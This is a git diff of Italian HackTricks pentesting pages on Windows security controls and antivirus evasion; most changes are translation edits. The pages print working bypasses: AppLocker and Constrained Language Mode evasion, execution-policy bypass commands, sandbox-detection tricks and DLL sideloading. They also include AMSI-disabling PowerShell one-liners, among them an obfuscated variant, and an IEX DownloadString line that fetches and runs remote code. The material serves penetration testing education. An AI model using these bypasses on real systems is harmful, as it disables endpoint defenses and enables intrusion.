La **Local Administrator Password Solution (LAPS)**, disponibile per il download da [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), consente la gestione delle password degli amministratori locali. Queste password, che sono **randomizzate**, uniche e **cambiate regolarmente**, sono memorizzate centralmente in Active Directory. L'accesso a queste password è limitato tramite ACL a utenti autorizzati. Con permessi sufficienti, è fornita la possibilità di leggere le password degli amministratori locali.
|
||||
|
||||
{{#ref}}
|
||||
active-directory-methodology/laps.md
|
||||
@ -173,17 +173,17 @@ active-directory-methodology/laps.md
|
||||
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **blocca molte delle funzionalità** necessarie per utilizzare PowerShell in modo efficace, come il blocco degli oggetti COM, consentendo solo tipi .NET approvati, flussi di lavoro basati su XAML, classi PowerShell e altro ancora.
|
||||
|
||||
### **Controlla**
|
||||
```powershell
|
||||
```bash
|
||||
$ExecutionContext.SessionState.LanguageMode
|
||||
#Values could be: FullLanguage or ConstrainedLanguage
|
||||
```
|
||||
### Bypass
|
||||
```powershell
|
||||
```bash
|
||||
#Easy bypass
|
||||
Powershell -version 2
|
||||
```
|
||||
In Windows attuale, quel bypass non funzionerà, ma puoi usare [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
|
||||
**Per compilarlo potresti aver bisogno** **di** _**Aggiungere un Riferimento**_ -> _Sfoglia_ -> _Sfoglia_ -> aggiungi `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` e **cambiare il progetto a .Net4.5**.
|
||||
In Windows attuali, quel bypass non funzionerà, ma puoi usare [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
|
||||
**Per compilarlo potresti aver bisogno di** **_Aggiungere un Riferimento_** -> _Sfoglia_ -> _Sfoglia_ -> aggiungi `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` e **cambiare il progetto in .Net4.5**.
|
||||
|
||||
#### Bypass diretto:
|
||||
```bash
|
||||
@ -197,8 +197,8 @@ Puoi usare [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/t
|
||||
|
||||
## Politica di Esecuzione PS
|
||||
|
||||
Per impostazione predefinita è impostata su **riservata.** I principali modi per bypassare questa politica:
|
||||
```powershell
|
||||
Per impostazione predefinita è impostata su **restricted.** I principali modi per bypassare questa politica:
|
||||
```bash
|
||||
1º Just copy and paste inside the interactive PS console
|
||||
2º Read en Exec
|
||||
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
|
||||
@ -219,13 +219,13 @@ $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.T
|
||||
```
|
||||
More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
|
||||
|
||||
## Interfaccia del Fornitore di Supporto Sicurezza (SSPI)
|
||||
## Security Support Provider Interface (SSPI)
|
||||
|
||||
È l'API che può essere utilizzata per autenticare gli utenti.
|
||||
|
||||
L'SSPI sarà responsabile della ricerca del protocollo adeguato per due macchine che vogliono comunicare. Il metodo preferito per questo è Kerberos. Poi l'SSPI negozierà quale protocollo di autenticazione verrà utilizzato, questi protocolli di autenticazione sono chiamati Fornitori di Supporto Sicurezza (SSP), si trovano all'interno di ogni macchina Windows sotto forma di DLL e entrambe le macchine devono supportare lo stesso per poter comunicare.
|
||||
L'SSPI sarà responsabile della ricerca del protocollo adeguato per due macchine che desiderano comunicare. Il metodo preferito per questo è Kerberos. Poi l'SSPI negozierà quale protocollo di autenticazione verrà utilizzato, questi protocolli di autenticazione sono chiamati Security Support Provider (SSP), si trovano all'interno di ogni macchina Windows sotto forma di DLL e entrambe le macchine devono supportare lo stesso per poter comunicare.
|
||||
|
||||
### Principali SSP
|
||||
### Main SSPs
|
||||
|
||||
- **Kerberos**: Il preferito
|
||||
- %windir%\Windows\System32\kerberos.dll
|
||||
@ -240,9 +240,9 @@ L'SSPI sarà responsabile della ricerca del protocollo adeguato per due macchine
|
||||
|
||||
#### La negoziazione potrebbe offrire diversi metodi o solo uno.
|
||||
|
||||
## UAC - Controllo Account Utente
|
||||
## UAC - User Account Control
|
||||
|
||||
[Controllo Account Utente (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) è una funzionalità che abilita un **messaggio di consenso per attività elevate**.
|
||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) è una funzionalità che abilita un **messaggio di consenso per attività elevate**.
|
||||
|
||||
{{#ref}}
|
||||
windows-security-controls/uac-user-account-control.md
|
||||
|
||||
@ -1,18 +1,18 @@
|
||||
# Controlli di Sicurezza di Windows
|
||||
# Windows Security Controls
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Politica di AppLocker
|
||||
## AppLocker Policy
|
||||
|
||||
Un elenco di applicazioni approvate è un elenco di software o eseguibili approvati che sono autorizzati a essere presenti e a funzionare su un sistema. L'obiettivo è proteggere l'ambiente da malware dannosi e software non approvati che non si allineano con le specifiche esigenze aziendali di un'organizzazione.
|
||||
Un elenco di autorizzazione delle applicazioni è un elenco di applicazioni software o eseguibili approvati che possono essere presenti ed eseguiti su un sistema. L'obiettivo è proteggere l'ambiente da malware dannoso e software non approvato che non si allinea con le specifiche esigenze aziendali di un'organizzazione.
|
||||
|
||||
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) è la **soluzione di whitelisting delle applicazioni** di Microsoft e offre agli amministratori di sistema il controllo su **quali applicazioni e file gli utenti possono eseguire**. Fornisce **controllo granulare** su eseguibili, script, file di installazione di Windows, DLL, app confezionate e installatori di app confezionate.\
|
||||
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) è la **soluzione di autorizzazione delle applicazioni** di Microsoft e offre agli amministratori di sistema il controllo su **quali applicazioni e file gli utenti possono eseguire**. Fornisce **controllo granulare** su eseguibili, script, file di installazione di Windows, DLL, app confezionate e installatori di app confezionate.\
|
||||
È comune per le organizzazioni **bloccare cmd.exe e PowerShell.exe** e l'accesso in scrittura a determinate directory, **ma tutto questo può essere aggirato**.
|
||||
|
||||
### Controllo
|
||||
### Check
|
||||
|
||||
Controlla quali file/estensioni sono nella lista nera/bianca:
|
||||
```powershell
|
||||
Controlla quali file/estensioni sono nella lista nera/nella lista bianca:
|
||||
```bash
|
||||
Get-ApplockerPolicy -Effective -xml
|
||||
|
||||
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
|
||||
@ -33,12 +33,12 @@ C:\Windows\System32\spool\drivers\color
|
||||
C:\Windows\Tasks
|
||||
C:\windows\tracing
|
||||
```
|
||||
- I comuni **binaries** [**"LOLBAS's"**](https://lolbas-project.github.io/) possono essere utili per bypassare AppLocker.
|
||||
- **Regole scritte male possono essere bypassate**
|
||||
- I comuni **binaries** **"LOLBAS's"** possono essere utili per bypassare AppLocker.
|
||||
- **Regole scritte male possono anche essere bypassate**
|
||||
- Ad esempio, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, puoi creare una **cartella chiamata `allowed`** ovunque e sarà consentita.
|
||||
- Le organizzazioni spesso si concentrano sul **bloccare l'eseguibile `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, ma dimenticano le **altre** [**posizioni eseguibili di PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) come `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` o `PowerShell_ISE.exe`.
|
||||
- Le organizzazioni spesso si concentrano sul **blocco dell'eseguibile `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, ma dimenticano le **altre** **posizioni degli eseguibili di PowerShell** come `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` o `PowerShell_ISE.exe`.
|
||||
- **L'applicazione delle DLL è molto raramente abilitata** a causa del carico aggiuntivo che può mettere su un sistema e della quantità di test necessari per garantire che nulla si rompa. Quindi utilizzare **DLL come backdoor aiuterà a bypassare AppLocker**.
|
||||
- Puoi usare [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) o [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) per **eseguire codice Powershell** in qualsiasi processo e bypassare AppLocker. Per ulteriori informazioni controlla: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
|
||||
- Puoi usare **ReflectivePick** o **SharpPick** per **eseguire codice Powershell** in qualsiasi processo e bypassare AppLocker. Per ulteriori informazioni controlla: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
|
||||
|
||||
## Archiviazione delle Credenziali
|
||||
|
||||
@ -65,7 +65,7 @@ LSA potrebbe salvare su disco alcune credenziali:
|
||||
|
||||
### NTDS.dit
|
||||
|
||||
È il database dell'Active Directory. È presente solo nei Controller di Dominio.
|
||||
È il database dell'Active Directory. È presente solo nei Domain Controllers.
|
||||
|
||||
## Defender
|
||||
|
||||
@ -107,7 +107,7 @@ EFS protegge i file attraverso la crittografia, utilizzando una **chiave simmetr
|
||||
|
||||
**Scenari di decrittazione senza iniziativa dell'utente** includono:
|
||||
|
||||
- Quando file o cartelle vengono spostati su un file system non EFS, come [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), vengono automaticamente decrittografati.
|
||||
- Quando file o cartelle vengono spostati in un file system non EFS, come [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), vengono automaticamente decrittografati.
|
||||
- I file crittografati inviati attraverso la rete tramite il protocollo SMB/CIFS vengono decrittografati prima della trasmissione.
|
||||
|
||||
Questo metodo di crittografia consente un **accesso trasparente** ai file crittografati per il proprietario. Tuttavia, cambiare semplicemente la password del proprietario e accedere non permetterà la decrittazione.
|
||||
@ -116,19 +116,19 @@ Questo metodo di crittografia consente un **accesso trasparente** ai file critto
|
||||
|
||||
- EFS utilizza una FEK simmetrica, crittografata con la chiave pubblica dell'utente.
|
||||
- La decrittazione impiega la chiave privata dell'utente per accedere alla FEK.
|
||||
- La decrittazione automatica avviene in determinate condizioni, come il copia su FAT32 o la trasmissione in rete.
|
||||
- La decrittazione automatica avviene in condizioni specifiche, come la copia su FAT32 o la trasmissione in rete.
|
||||
- I file crittografati sono accessibili al proprietario senza passaggi aggiuntivi.
|
||||
|
||||
### Controlla le informazioni EFS
|
||||
|
||||
Controlla se un **utente** ha **utilizzato** questo **servizio** verificando se esiste questo percorso:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
|
||||
Controlla se un **utente** ha **utilizzato** questo **servizio** verificando se esiste questo percorso: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
|
||||
|
||||
Controlla **chi** ha **accesso** al file usando cipher /c \<file>\
|
||||
Puoi anche usare `cipher /e` e `cipher /d` all'interno di una cartella per **crittografare** e **decrittografare** tutti i file
|
||||
|
||||
### Decrittazione dei file EFS
|
||||
|
||||
#### Essere Autorità di Sistema
|
||||
#### Essere Authority System
|
||||
|
||||
Questo metodo richiede che l'**utente vittima** stia **eseguendo** un **processo** all'interno dell'host. Se è così, utilizzando una sessione `meterpreter` puoi impersonare il token del processo dell'utente (`impersonate_token` da `incognito`). Oppure potresti semplicemente `migrate` al processo dell'utente.
|
||||
|
||||
@ -140,7 +140,7 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
|
||||
|
||||
## Group Managed Service Accounts (gMSA)
|
||||
|
||||
Microsoft ha sviluppato **Group Managed Service Accounts (gMSA)** per semplificare la gestione degli account di servizio nelle infrastrutture IT. A differenza degli account di servizio tradizionali che spesso hanno l'impostazione "**Password mai scaduta**" abilitata, i gMSA offrono una soluzione più sicura e gestibile:
|
||||
Microsoft ha sviluppato **Group Managed Service Accounts (gMSA)** per semplificare la gestione degli account di servizio nelle infrastrutture IT. A differenza degli account di servizio tradizionali che spesso hanno l'impostazione "**Password never expire**" abilitata, i gMSA offrono una soluzione più sicura e gestibile:
|
||||
|
||||
- **Gestione automatica delle password**: i gMSA utilizzano una password complessa di 240 caratteri che cambia automaticamente in base alla politica del dominio o del computer. Questo processo è gestito dal Key Distribution Service (KDC) di Microsoft, eliminando la necessità di aggiornamenti manuali delle password.
|
||||
- **Sicurezza migliorata**: questi account sono immuni ai blocchi e non possono essere utilizzati per accessi interattivi, migliorando la loro sicurezza.
|
||||
@ -162,7 +162,7 @@ Inoltre, controlla questa [pagina web](https://cube0x0.github.io/Relaying-for-gM
|
||||
|
||||
## LAPS
|
||||
|
||||
La **Local Administrator Password Solution (LAPS)**, disponibile per il download da [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), consente la gestione delle password degli amministratori locali. Queste password, che sono **randomizzate**, uniche e **cambiate regolarmente**, sono memorizzate centralmente in Active Directory. L'accesso a queste password è limitato tramite ACL a utenti autorizzati. Con permessi sufficienti concessi, è fornita la possibilità di leggere le password degli amministratori locali.
|
||||
La **Local Administrator Password Solution (LAPS)**, disponibile per il download da [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), consente la gestione delle password degli amministratori locali. Queste password, che sono **randomizzate**, uniche e **cambiate regolarmente**, sono memorizzate centralmente in Active Directory. L'accesso a queste password è limitato tramite ACL a utenti autorizzati. Con permessi sufficienti, è possibile leggere le password degli amministratori locali.
|
||||
|
||||
{{#ref}}
|
||||
../active-directory-methodology/laps.md
|
||||
@ -173,16 +173,16 @@ La **Local Administrator Password Solution (LAPS)**, disponibile per il download
|
||||
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **blocca molte delle funzionalità** necessarie per utilizzare PowerShell in modo efficace, come il blocco degli oggetti COM, consentendo solo tipi .NET approvati, flussi di lavoro basati su XAML, classi PowerShell e altro ancora.
|
||||
|
||||
### **Controlla**
|
||||
```powershell
|
||||
```bash
|
||||
$ExecutionContext.SessionState.LanguageMode
|
||||
#Values could be: FullLanguage or ConstrainedLanguage
|
||||
```
|
||||
### Bypass
|
||||
```powershell
|
||||
```bash
|
||||
#Easy bypass
|
||||
Powershell -version 2
|
||||
```
|
||||
In Windows attuale quel bypass non funzionerà, ma puoi usare [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
|
||||
In Windows attuali, quel bypass non funzionerà, ma puoi usare [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
|
||||
**Per compilarlo potresti aver bisogno di** **_Aggiungere un Riferimento_** -> _Sfoglia_ -> _Sfoglia_ -> aggiungi `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` e **cambiare il progetto in .Net4.5**.
|
||||
|
||||
#### Bypass diretto:
|
||||
@ -195,10 +195,10 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
|
||||
```
|
||||
Puoi usare [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) o [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) per **eseguire codice Powershell** in qualsiasi processo e bypassare la modalità vincolata. Per ulteriori informazioni controlla: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
|
||||
|
||||
## Politica di Esecuzione PS
|
||||
## PS Execution Policy
|
||||
|
||||
Per impostazione predefinita è impostata su **riservata.** I principali modi per bypassare questa politica:
|
||||
```powershell
|
||||
Per impostazione predefinita è impostato su **restricted.** I principali modi per bypassare questa politica:
|
||||
```bash
|
||||
1º Just copy and paste inside the interactive PS console
|
||||
2º Read en Exec
|
||||
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
|
||||
|
||||
@ -6,11 +6,11 @@
|
||||
|
||||
## **Metodologia di Evasione AV**
|
||||
|
||||
Attualmente, gli AV utilizzano diversi metodi per controllare se un file è dannoso o meno, rilevamento statico, analisi dinamica e, per gli EDR più avanzati, analisi comportamentale.
|
||||
Attualmente, gli AV utilizzano diversi metodi per verificare se un file è dannoso o meno, rilevamento statico, analisi dinamica e, per gli EDR più avanzati, analisi comportamentale.
|
||||
|
||||
### **Rilevamento statico**
|
||||
|
||||
Il rilevamento statico si ottiene contrassegnando stringhe o array di byte dannosi noti in un binario o script, ed estraendo anche informazioni dal file stesso (ad es. descrizione del file, nome dell'azienda, firme digitali, icona, checksum, ecc.). Questo significa che utilizzare strumenti pubblici noti potrebbe farti catturare più facilmente, poiché probabilmente sono stati analizzati e contrassegnati come dannosi. Ci sono un paio di modi per aggirare questo tipo di rilevamento:
|
||||
Il rilevamento statico si ottiene contrassegnando stringhe o array di byte dannosi noti in un binario o script, ed estraendo anche informazioni dal file stesso (ad es. descrizione del file, nome dell'azienda, firme digitali, icona, checksum, ecc.). Questo significa che utilizzare strumenti pubblici noti può farti catturare più facilmente, poiché probabilmente sono stati analizzati e contrassegnati come dannosi. Ci sono un paio di modi per aggirare questo tipo di rilevamento:
|
||||
|
||||
- **Crittografia**
|
||||
|
||||
@ -35,13 +35,13 @@ L'analisi dinamica è quando l'AV esegue il tuo binario in un sandbox e osserva
|
||||
|
||||
- **Sonno prima dell'esecuzione** A seconda di come è implementato, può essere un ottimo modo per bypassare l'analisi dinamica dell'AV. Gli AV hanno un tempo molto breve per scansionare i file per non interrompere il flusso di lavoro dell'utente, quindi utilizzare sonni lunghi può disturbare l'analisi dei binari. Il problema è che molte sandbox degli AV possono semplicemente saltare il sonno a seconda di come è implementato.
|
||||
- **Controllo delle risorse della macchina** Di solito le sandbox hanno pochissime risorse con cui lavorare (ad es. < 2GB di RAM), altrimenti potrebbero rallentare la macchina dell'utente. Puoi anche essere molto creativo qui, ad esempio controllando la temperatura della CPU o persino la velocità delle ventole, non tutto sarà implementato nella sandbox.
|
||||
- **Controlli specifici della macchina** Se vuoi mirare a un utente la cui workstation è unita al dominio "contoso.local", puoi fare un controllo sul dominio del computer per vedere se corrisponde a quello che hai specificato, se non corrisponde, puoi far uscire il tuo programma.
|
||||
- **Controlli specifici della macchina** Se vuoi mirare a un utente il cui workstation è unito al dominio "contoso.local", puoi fare un controllo sul dominio del computer per vedere se corrisponde a quello che hai specificato, se non corrisponde, puoi far uscire il tuo programma.
|
||||
|
||||
Si scopre che il nome della macchina della Sandbox di Microsoft Defender è HAL9TH, quindi puoi controllare il nome del computer nel tuo malware prima della detonazione, se il nome corrisponde a HAL9TH, significa che sei all'interno della sandbox di Defender, quindi puoi far uscire il tuo programma.
|
||||
|
||||
<figure><img src="../images/image (209).png" alt=""><figcaption><p>fonte: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
|
||||
Altri ottimi suggerimenti da [@mgeeky](https://twitter.com/mariuszbit) per contrastare le Sandbox
|
||||
Altri ottimi consigli da [@mgeeky](https://twitter.com/mariuszbit) per contrastare le Sandbox
|
||||
|
||||
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> canale #malware-dev</p></figcaption></figure>
|
||||
|
||||
@ -49,14 +49,14 @@ Come abbiamo detto prima in questo post, **gli strumenti pubblici** alla fine **
|
||||
|
||||
Ad esempio, se vuoi eseguire il dump di LSASS, **hai davvero bisogno di usare mimikatz**? O potresti usare un progetto diverso che è meno conosciuto e fa anche il dump di LSASS.
|
||||
|
||||
La risposta giusta è probabilmente la seconda. Prendendo mimikatz come esempio, è probabilmente uno dei, se non il più contrassegnato malware dagli AV e dagli EDR, mentre il progetto stesso è super interessante, è anche un incubo lavorarci per aggirare gli AV, quindi cerca alternative per ciò che stai cercando di ottenere.
|
||||
La risposta giusta è probabilmente quest'ultima. Prendendo mimikatz come esempio, è probabilmente uno dei, se non il più contrassegnato pezzo di malware dagli AV e dagli EDR, mentre il progetto stesso è super interessante, è anche un incubo lavorarci per aggirare gli AV, quindi cerca semplicemente alternative per ciò che stai cercando di ottenere.
|
||||
|
||||
> [!NOTE]
|
||||
> Quando modifichi i tuoi payload per l'evasione, assicurati di **disattivare l'invio automatico dei campioni** in Defender, e per favore, seriamente, **NON CARICARE SU VIRUSTOTAL** se il tuo obiettivo è ottenere evasione a lungo termine. Se vuoi controllare se il tuo payload viene rilevato da un particolare AV, installalo su una VM, prova a disattivare l'invio automatico dei campioni e testalo lì fino a quando non sei soddisfatto del risultato.
|
||||
> Quando modifichi i tuoi payload per l'evasione, assicurati di **disattivare l'invio automatico dei campioni** in Defender, e per favore, seriamente, **NON CARICARE SU VIRUSTOTAL** se il tuo obiettivo è raggiungere l'evasione a lungo termine. Se vuoi controllare se il tuo payload viene rilevato da un particolare AV, installalo su una VM, prova a disattivare l'invio automatico dei campioni e testalo lì fino a quando non sei soddisfatto del risultato.
|
||||
|
||||
## EXE vs DLL
|
||||
|
||||
Ogni volta che è possibile, **dai sempre priorità all'uso delle DLL per l'evasione**, nella mia esperienza, i file DLL sono di solito **molto meno rilevati** e analizzati, quindi è un trucco molto semplice da usare per evitare il rilevamento in alcuni casi (se il tuo payload ha un modo di essere eseguito come DLL, ovviamente).
|
||||
Ogni volta che è possibile, **dai sempre priorità all'uso delle DLL per l'evasione**, nella mia esperienza, i file DLL sono solitamente **molto meno rilevati** e analizzati, quindi è un trucco molto semplice da usare per evitare il rilevamento in alcuni casi (se il tuo payload ha un modo di essere eseguito come DLL, ovviamente).
|
||||
|
||||
Come possiamo vedere in questa immagine, un Payload DLL di Havoc ha un tasso di rilevamento di 4/26 in antiscan.me, mentre il payload EXE ha un tasso di rilevamento di 7/26.
|
||||
|
||||
@ -69,7 +69,7 @@ Ora mostreremo alcuni trucchi che puoi usare con i file DLL per essere molto pi
|
||||
**DLL Sideloading** sfrutta l'ordine di ricerca delle DLL utilizzato dal caricatore posizionando sia l'applicazione vittima che il/i payload dannoso/i uno accanto all'altro.
|
||||
|
||||
Puoi controllare i programmi suscettibili al DLL Sideloading utilizzando [Siofra](https://github.com/Cybereason/siofra) e il seguente script di powershell:
|
||||
```powershell
|
||||
```bash
|
||||
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
|
||||
$binarytoCheck = "C:\Program Files\" + $_
|
||||
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
|
||||
@ -77,7 +77,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
|
||||
```
|
||||
Questo comando restituirà l'elenco dei programmi suscettibili al DLL hijacking all'interno di "C:\Program Files\\" e i file DLL che tentano di caricare.
|
||||
|
||||
Ti consiglio vivamente di **esplorare i programmi DLL Hijackable/Sideloadable da solo**, questa tecnica è piuttosto furtiva se eseguita correttamente, ma se utilizzi programmi DLL Sideloadable pubblicamente noti, potresti essere facilmente scoperto.
|
||||
Ti consiglio vivamente di **esplorare i programmi DLL Hijackable/Sideloadable da solo**, questa tecnica è piuttosto furtiva se eseguita correttamente, ma se utilizzi programmi DLL Sideloadable noti pubblicamente, potresti essere facilmente catturato.
|
||||
|
||||
Semplicemente posizionare una DLL malevola con il nome che un programma si aspetta di caricare, non caricherà il tuo payload, poiché il programma si aspetta alcune funzioni specifiche all'interno di quella DLL; per risolvere questo problema, utilizzeremo un'altra tecnica chiamata **DLL Proxying/Forwarding**.
|
||||
|
||||
@ -125,11 +125,11 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
||||
|
||||
## AMSI (Interfaccia di Scansione Anti-Malware)
|
||||
|
||||
AMSI è stato creato per prevenire "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Inizialmente, gli AV erano in grado di scansionare solo **file su disco**, quindi se riuscivi in qualche modo a eseguire payload **direttamente in memoria**, l'AV non poteva fare nulla per prevenirlo, poiché non aveva abbastanza visibilità.
|
||||
AMSI è stato creato per prevenire "[malware senza file](https://en.wikipedia.org/wiki/Fileless_malware)". Inizialmente, gli AV erano in grado di scansionare solo **file su disco**, quindi se riuscivi in qualche modo a eseguire payload **direttamente in memoria**, l'AV non poteva fare nulla per prevenirlo, poiché non aveva abbastanza visibilità.
|
||||
|
||||
La funzione AMSI è integrata in questi componenti di Windows.
|
||||
La funzionalità AMSI è integrata in questi componenti di Windows.
|
||||
|
||||
- Controllo Account Utente, o UAC (elevazione di EXE, COM, MSI o installazione ActiveX)
|
||||
- Controllo dell'Account Utente, o UAC (elevazione di EXE, COM, MSI o installazione ActiveX)
|
||||
- PowerShell (script, uso interattivo e valutazione dinamica del codice)
|
||||
- Windows Script Host (wscript.exe e cscript.exe)
|
||||
- JavaScript e VBScript
|
||||
@ -141,32 +141,34 @@ Eseguire `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubuserc
|
||||
|
||||
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Nota come precede `amsi:` e poi il percorso dell'eseguibile da cui è stato eseguito lo script, in questo caso, powershell.exe
|
||||
Nota come precede `amsi:` e poi il percorso all'eseguibile da cui è stato eseguito lo script, in questo caso, powershell.exe
|
||||
|
||||
Non abbiamo scaricato alcun file su disco, ma siamo stati comunque catturati in memoria a causa di AMSI.
|
||||
|
||||
Inoltre, a partire da **.NET 4.8**, il codice C# viene eseguito tramite AMSI. Questo influisce anche su `Assembly.Load(byte[])` per l'esecuzione in memoria. Ecco perché si consiglia di utilizzare versioni inferiori di .NET (come 4.7.2 o inferiori) per l'esecuzione in memoria se si desidera evadere AMSI.
|
||||
|
||||
Ci sono un paio di modi per aggirare AMSI:
|
||||
|
||||
- **Offuscamento**
|
||||
|
||||
Poiché AMSI funziona principalmente con rilevamenti statici, quindi, modificare gli script che cerchi di caricare può essere un buon modo per evadere il rilevamento.
|
||||
Poiché AMSI funziona principalmente con rilevamenti statici, quindi, modificare gli script che si tenta di caricare può essere un buon modo per evadere il rilevamento.
|
||||
|
||||
Tuttavia, AMSI ha la capacità di deoffuscare gli script anche se ha più strati, quindi l'offuscamento potrebbe essere una cattiva opzione a seconda di come viene fatto. Questo rende non così semplice evadere. Anche se, a volte, tutto ciò che devi fare è cambiare un paio di nomi di variabili e andrà bene, quindi dipende da quanto qualcosa è stato segnalato.
|
||||
|
||||
- **AMSI Bypass**
|
||||
- **Evasione AMSI**
|
||||
|
||||
Poiché AMSI è implementato caricando una DLL nel processo di powershell (anche cscript.exe, wscript.exe, ecc.), è possibile manometterlo facilmente anche eseguendo come utente non privilegiato. A causa di questo difetto nell'implementazione di AMSI, i ricercatori hanno trovato diversi modi per evadere la scansione di AMSI.
|
||||
|
||||
**Forzare un Errore**
|
||||
|
||||
Forzare il fallimento dell'inizializzazione di AMSI (amsiInitFailed) comporterà che non verrà avviata alcuna scansione per il processo corrente. Originariamente questo è stato divulgato da [Matt Graeber](https://twitter.com/mattifestation) e Microsoft ha sviluppato una firma per prevenire un uso più ampio.
|
||||
```powershell
|
||||
```bash
|
||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
||||
```
|
||||
Bastava una riga di codice powershell per rendere AMSI inutilizzabile per il processo powershell attuale. Questa riga è stata ovviamente segnalata da AMSI stesso, quindi è necessaria qualche modifica per utilizzare questa tecnica.
|
||||
|
||||
Ecco un bypass AMSI modificato che ho preso da questo [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
|
||||
```powershell
|
||||
```bash
|
||||
Try{#Ams1 bypass technic nº 2
|
||||
$Xdatabase = 'Utils';$Homedrive = 'si'
|
||||
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
|
||||
@ -183,28 +185,55 @@ Tieni presente che questo verrà probabilmente segnalato una volta pubblicato qu
|
||||
|
||||
**Memory Patching**
|
||||
|
||||
Questa tecnica è stata inizialmente scoperta da [@RastaMouse](https://twitter.com/_RastaMouse/) e consiste nel trovare l'indirizzo della funzione "AmsiScanBuffer" in amsi.dll (responsabile della scansione dell'input fornito dall'utente) e sovrascriverlo con istruzioni per restituire il codice per E_INVALIDARG, in questo modo, il risultato della scansione effettiva restituirà 0, che viene interpretato come un risultato pulito.
|
||||
Questa tecnica è stata inizialmente scoperta da [@RastaMouse](https://twitter.com/_RastaMouse/) e comporta la ricerca dell'indirizzo per la funzione "AmsiScanBuffer" in amsi.dll (responsabile della scansione dell'input fornito dall'utente) e la sovrascrittura con istruzioni per restituire il codice per E_INVALIDARG, in questo modo, il risultato della scansione effettiva restituirà 0, che viene interpretato come un risultato pulito.
|
||||
|
||||
> [!NOTE]
|
||||
> Si prega di leggere [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) per una spiegazione più dettagliata.
|
||||
|
||||
Ci sono anche molte altre tecniche utilizzate per bypassare AMSI con PowerShell, controlla [**questa pagina**](basic-powershell-for-pentesters/index.html#amsi-bypass) e [questo repo](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) per saperne di più su di esse.
|
||||
